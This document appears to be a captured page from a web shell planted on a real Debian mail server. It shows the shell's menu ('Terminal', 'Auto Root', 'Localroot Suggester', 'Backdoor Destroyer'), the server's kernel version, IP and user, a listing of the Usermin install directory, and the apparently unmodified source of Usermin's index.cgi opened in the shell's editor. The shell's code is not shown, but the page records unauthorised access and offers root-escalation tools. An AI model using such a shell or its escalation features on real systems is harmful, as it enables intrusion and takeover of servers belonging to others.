Linux mail.vriendennsm.nl 6.1.0-51-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.177-1 (2026-07-16) x86_64
Apache/2.4.68 (Debian)
Server IP : 217.154.75.17 & Your IP : 216.73.216.195
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
usermin /
Delete
Unzip
Name
Size
Permission
Date
Action
at
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
authentic-theme
[ DIR ]
drwxr-xr-x
2026-07-25 20:56
blue-theme
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
changepass
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
chfn
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
commands
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
cron
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
cshrc
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
fetchmail
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
filemin
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
filter
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
forward
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
gnupg
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
gray-theme
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
htaccess
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
htaccess-htpasswd
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
images
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
lang
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
language
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
mailbox
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
mailcap
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
man
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
mysql
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
plan
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
postgresql
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
proc
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
procmail
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
quota
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
schedule
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
shell
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
spam
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
ssh
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
theme
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
tunnel
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
twofactor
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
ulang
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
unauthenticated
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
updown
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
usermount
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
vendor_perl
[ DIR ]
drwxr-xr-x
2026-06-10 18:25
xterm
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
LICENCE
1.48
KB
-rw-r--r--
2026-07-19 16:26
LICENCE.ja
1.62
KB
-rw-r--r--
2026-07-19 16:26
README
1.92
KB
-rw-r--r--
2026-07-19 16:26
WebminCore.pm
9.05
KB
-rw-r--r--
2026-07-19 16:26
acl_security.pl
2.89
KB
-rwxr-xr-x
2026-07-19 16:26
chooser.cgi
7.21
KB
-rwxr-xr-x
2026-07-19 16:28
config-aix
227
B
-rw-r--r--
2026-07-19 16:26
config-cobalt-linux
264
B
-rw-r--r--
2026-07-19 16:26
config-coherent-linux
264
B
-rw-r--r--
2026-07-19 16:26
config-corel-linux
264
B
-rw-r--r--
2026-07-19 16:26
config-debian-linux
264
B
-rw-r--r--
2026-07-19 16:26
config-freebsd
256
B
-rw-r--r--
2026-07-19 16:26
config-generic-linux
264
B
-rw-r--r--
2026-07-19 16:26
config-gentoo-linux
264
B
-rw-r--r--
2026-07-19 16:26
config-hpux
243
B
-rw-r--r--
2026-07-19 16:26
config-irix
284
B
-rw-r--r--
2026-07-19 16:26
config-lib.pl
11.84
KB
-rwxr-xr-x
2026-07-19 16:26
config-macos
260
B
-rw-r--r--
2026-07-19 16:26
config-mandrake-linux
278
B
-rw-r--r--
2026-07-19 16:26
config-msc-linux
264
B
-rw-r--r--
2026-07-19 16:26
config-netbsd
283
B
-rw-r--r--
2026-07-19 16:26
config-open-linux
264
B
-rw-r--r--
2026-07-19 16:26
config-openbsd
241
B
-rw-r--r--
2026-07-19 16:26
config-openmamba-linux
264
B
-rw-r--r--
2026-07-19 16:26
config-openserver
236
B
-rw-r--r--
2026-07-19 16:26
config-osf1
266
B
-rw-r--r--
2026-07-19 16:26
config-redhat-linux
264
B
-rw-r--r--
2026-07-19 16:26
config-slackware-linux
280
B
-rw-r--r--
2026-07-19 16:26
config-sol-linux
264
B
-rw-r--r--
2026-07-19 16:26
config-solaris
417
B
-rw-r--r--
2026-07-19 16:26
config-suse-linux
264
B
-rw-r--r--
2026-07-19 16:26
config-trustix-linux
264
B
-rw-r--r--
2026-07-19 16:26
config-turbo-linux
264
B
-rw-r--r--
2026-07-19 16:26
config-united-linux
264
B
-rw-r--r--
2026-07-19 16:26
config-unixware
286
B
-rw-r--r--
2026-07-19 16:26
copyconfig.pl
4.33
KB
-rwxr-xr-x
2026-07-19 16:28
date_chooser.cgi
2.19
KB
-rwxr-xr-x
2026-07-19 16:28
deb-name
8
B
-rw-r--r--
2026-07-19 16:28
defaultacl
124
B
-rw-r--r--
2026-07-19 16:26
defaulttheme
16
B
-rw-r--r--
2026-07-19 16:26
entities_map.txt
1.47
KB
-rw-r--r--
2026-07-19 16:26
favicon.ico
14.73
KB
-rw-r--r--
2026-07-19 16:26
group_chooser.cgi
7.51
KB
-rwxr-xr-x
2026-07-19 16:28
help.cgi
2.26
KB
-rwxr-xr-x
2026-07-19 16:28
html-editor-lib.pl
17.72
KB
-rw-r--r--
2026-07-19 16:26
index.cgi
5.64
KB
-rwxr-xr-x
2026-07-19 16:28
install-module.pl
1.27
KB
-rwxr-xr-x
2026-07-19 16:28
install-type
4
B
-rw-r--r--
2026-07-19 16:28
javascript-lib.pl
14.69
KB
-rwxr-xr-x
2026-07-19 16:26
lang_list.txt
2.51
KB
-rw-r--r--
2026-07-19 16:26
maketemp.pl
424
B
-rwxr-xr-x
2026-07-19 16:26
mime.types
12.42
KB
-rw-r--r--
2026-07-19 16:26
miniserv-lib.pl
175.51
KB
-rw-r--r--
2026-07-19 16:26
miniserv.pem
2.9
KB
-rw-r--r--
2026-07-19 16:26
miniserv.pl
33.88
KB
-rwxr-xr-x
2026-07-19 16:28
newmods.pl
1.25
KB
-rwxr-xr-x
2026-07-19 16:26
os_list.txt
35.22
KB
-rw-r--r--
2026-07-19 16:26
oschooser.pl
4.55
KB
-rwxr-xr-x
2026-07-19 16:28
pam_login.cgi
4.33
KB
-rwxr-xr-x
2026-07-19 16:28
password_change.cgi
7.02
KB
-rwxr-xr-x
2026-07-19 16:28
password_form.cgi
1.3
KB
-rwxr-xr-x
2026-07-19 16:28
perlpath.pl
571
B
-rwxr-xr-x
2026-07-19 16:28
robots.txt
26
B
-rw-r--r--
2026-07-19 16:26
session_login.cgi
5.11
KB
-rwxr-xr-x
2026-07-19 16:28
setup.sh
27.29
KB
-rwxr-xr-x
2026-07-19 16:26
switch_user.cgi
404
B
-rwxr-xr-x
2026-07-19 16:28
thirdparty.pl
1.73
KB
-rwxr-xr-x
2026-07-19 16:26
uconfig.cgi
1.39
KB
-rwxr-xr-x
2026-07-19 16:28
uconfig_save.cgi
1.46
KB
-rwxr-xr-x
2026-07-19 16:28
ui-lib.pl
123.52
KB
-rwxr-xr-x
2026-07-19 16:26
update-from-repo.sh
14.77
KB
-rwxr-xr-x
2026-07-19 16:26
updateboot.pl
2.37
KB
-rwxr-xr-x
2026-07-19 16:28
uptracker.cgi
2.89
KB
-rwxr-xr-x
2026-07-19 16:28
user_chooser.cgi
7.39
KB
-rwxr-xr-x
2026-07-19 16:28
usermin-init
1.88
KB
-rwxr-xr-x
2026-07-19 16:26
usermin-pam
101
B
-rw-r--r--
2026-07-19 16:26
usermin-pam-osx
243
B
-rw-r--r--
2026-07-19 16:26
usermin-systemd
375
B
-rw-r--r--
2026-07-19 16:26
version
6
B
-rw-r--r--
2026-07-19 16:26
web-lib-funcs.pl
417.23
KB
-rwxr-xr-x
2026-07-19 16:26
web-lib.pl
856
B
-rwxr-xr-x
2026-07-19 16:26
webmin-search-lib.pl
9.47
KB
-rwxr-xr-x
2026-07-19 16:26
webmin_search.cgi
2.63
KB
-rwxr-xr-x
2026-07-19 16:28
Save
Rename
#!/usr/bin/perl require './web-lib.pl'; &init_config(); &ReadParse(); $hostname = &get_display_hostname(); $ver = &get_webmin_version(); &get_miniserv_config(\%miniserv); if ($gconfig{'real_os_type'}) { $ostr = "$gconfig{'real_os_type'} $gconfig{'real_os_version'}"; } else { $ostr = "$gconfig{'os_type'} $gconfig{'os_version'}"; } # Build a list of all modules @modules = &get_available_module_infos(1); if (!defined($in{'cat'})) { # Maybe redirect to some module after login local $goto = &get_goto_module(\@modules); if ($goto) { &redirect($goto->{'dir'}.'/'); exit; } } $gconfig{'sysinfo'} = 0 if ($gconfig{'sysinfo'} == 1); if ($gconfig{'texttitles'}) { @args = ( $text{'main_title2'}, undef ); } else { @args = ( $gconfig{'nohostname'} ? $text{'main_title2'} : &text('main_title', $ver, $hostname, $ostr), "images/usermin.gif" ); } &header(@args, undef, undef, 1, 1, $tconfig{'brand'} ? "<a href=$tconfig{'brand_url'}>$tconfig{'brand'}</a>" : $gconfig{'brand'} ? "<a href=$gconfig{'brand_url'}>$gconfig{'brand'}</a>" : "<a href=https://usermin.com/>$text{'main_homepage'}</a>". ($gconfig{'feedback'} ? "<br><a href=feedback_form.cgi>$text{'main_feedback'}</a>" : "") ); print "<center><font size=+1>", &text('main_version', $ver, $hostname, $ostr),"</font></center>\n" if (!$gconfig{'nohostname'}); print "<hr><p>\n"; print $text{'main_header'}; if (!@modules) { # use has no modules! print "<p><b>$text{'main_none'}</b><p>\n"; } elsif ($gconfig{"notabs_${base_remote_user}"} == 2 || $gconfig{"notabs_${base_remote_user}"} == 0 && $gconfig{'notabs'}) { # Generate main menu with all modules on one page print "<center><table cellpadding=5>\n"; $pos = 0; $cols = $gconfig{'nocols'} ? $gconfig{'nocols'} : 4; $per = 100.0 / $cols; foreach $m (@modules) { if ($pos % $cols == 0) { print "<tr>\n"; } print "<td valign=top align=center width=$per\%>\n"; local $idx = $m->{'index_link'}; my $alink = "$gconfig{'webprefix'}/@{[&urlize($m->{'dir'})]}/$idx"; print "<table border><tr><td><a href='$alink'>", "<img src=$m->{'dir'}/images/icon.gif border=0 ", "width=48 height=48></a></td></tr></table>\n"; print "<a href='$alink'>@{[&html_escape($m->{'desc'})]}</a></td>\n"; if ($pos % $cols == $cols - 1) { print "</tr>\n"; } $pos++; } print "</table></center><p><hr>\n"; } else { # Display under categorised tabs &read_file("$config_directory/webmin.catnames", \%catnames); foreach $m (@modules) { $c = $m->{'category'}; next if ($cats{$c}); if (defined($catnames{$c})) { $cats{$c} = $catnames{$c}; } elsif ($text{"category_$c"}) { $cats{$c} = $text{"category_$c"}; } else { # try to get category name from module .. local %mtext = &load_language($m->{'dir'}); if ($mtext{"category_$c"}) { $cats{$c} = $mtext{"category_$c"}; } else { $c = $m->{'category'} = ""; $cats{$c} = $text{"category_$c"}; } } } @cats = sort { $b cmp $a } keys %cats; $cats = @cats; $per = $cats ? 100.0 / $cats : 100; if (!defined($in{'cat'})) { # Use default category if (defined($gconfig{'deftab'}) && &indexof($gconfig{'deftab'}, @cats) >= 0) { $in{'cat'} = $gconfig{'deftab'}; } else { $in{'cat'} = $cats[0]; } } elsif (!$cats{$in{'cat'}}) { $in{'cat'} = ""; } print "<table border=0 cellpadding=0 cellspacing=0 height=20><tr>\n"; $usercol = defined($gconfig{'cs_header'}) || defined($gconfig{'cs_table'}) || defined($gconfig{'cs_page'}); foreach $c (@cats) { $t = $cats{$c}; if ($in{'cat'} eq $c) { print "<td valign=top $cb>", $usercol ? "<br>" : "<img src=images/lc2.gif alt=\"\">","</td>\n"; print "<td $cb> <b>$t</b> </td>\n"; print "<td valign=top $cb>", $usercol ? "<br>" : "<img src=images/rc2.gif alt=\"\">","</td>\n"; } else { print "<td valign=top $tb>", $usercol ? "<br>" : "<img src=images/lc1.gif alt=\"\">","</td>\n"; print "<td $tb> ", "<a href=$gconfig{'webprefix'}/?cat=@{[&urlize($c)]}><b>@{[&html_escape($t)]}</b></a> </td>\n"; print "<td valign=top $tb>", $usercol ? "<br>" : "<img src=images/rc1.gif alt=\"\">","</td>\n"; } print "<td width=10></td>\n"; } print "</tr></table> <table border=0 cellpadding=0 cellspacing=0 ", "width=100% $cb>\n"; print "<tr><td><table width=100% cellpadding=5>\n"; # Display the modules in this category $pos = 0; $cols = $gconfig{'nocols'} ? $gconfig{'nocols'} : 4; $per = 100.0 / $cols; foreach $m (@modules) { next if ($m->{'category'} ne $in{'cat'}); if ($pos % $cols == 0) { print "<tr>\n"; } print "<td valign=top align=center width=$per\%>\n"; my $mlink = "$gconfig{'webprefix'}/@{[&urlize($m->{'dir'})]}/"; print "<table border bgcolor=#ffffff><tr><td><a href='$mlink'>", "<img src=$m->{'dir'}/images/icon.gif alt=\"\" border=0></a>", "</td></tr></table>\n"; print "<a href='$mlink'>@{[&html_escape($m->{'desc'})]}</a></td>\n"; if ($pos++ % $cols == $cols - 1) { print "</tr>\n"; } } while($pos++ % $cols) { print "<td width=$per\%></td>\n"; } print "</table></td></tr></table><p><hr>\n"; } if ($miniserv{'logout'} && !$gconfig{'alt_startpage'} && !$ENV{'SSL_USER'} && !$ENV{'LOCAL_USER'} && $ENV{'HTTP_USER_AGENT'} !~ /webmin/i) { print "<table width=100% cellpadding=0 cellspacing=0><tr>\n"; if ($main::session_id) { print "<td align=right><a href='session_login.cgi?logout=1'>", "$text{'main_logout'}</a></td>\n"; } else { print "<td align=right><a href=switch_user.cgi>", "$text{'main_switch'}</a></td>\n"; } print "</tr></table>\n"; } print $text{'main_footer'}; &footer();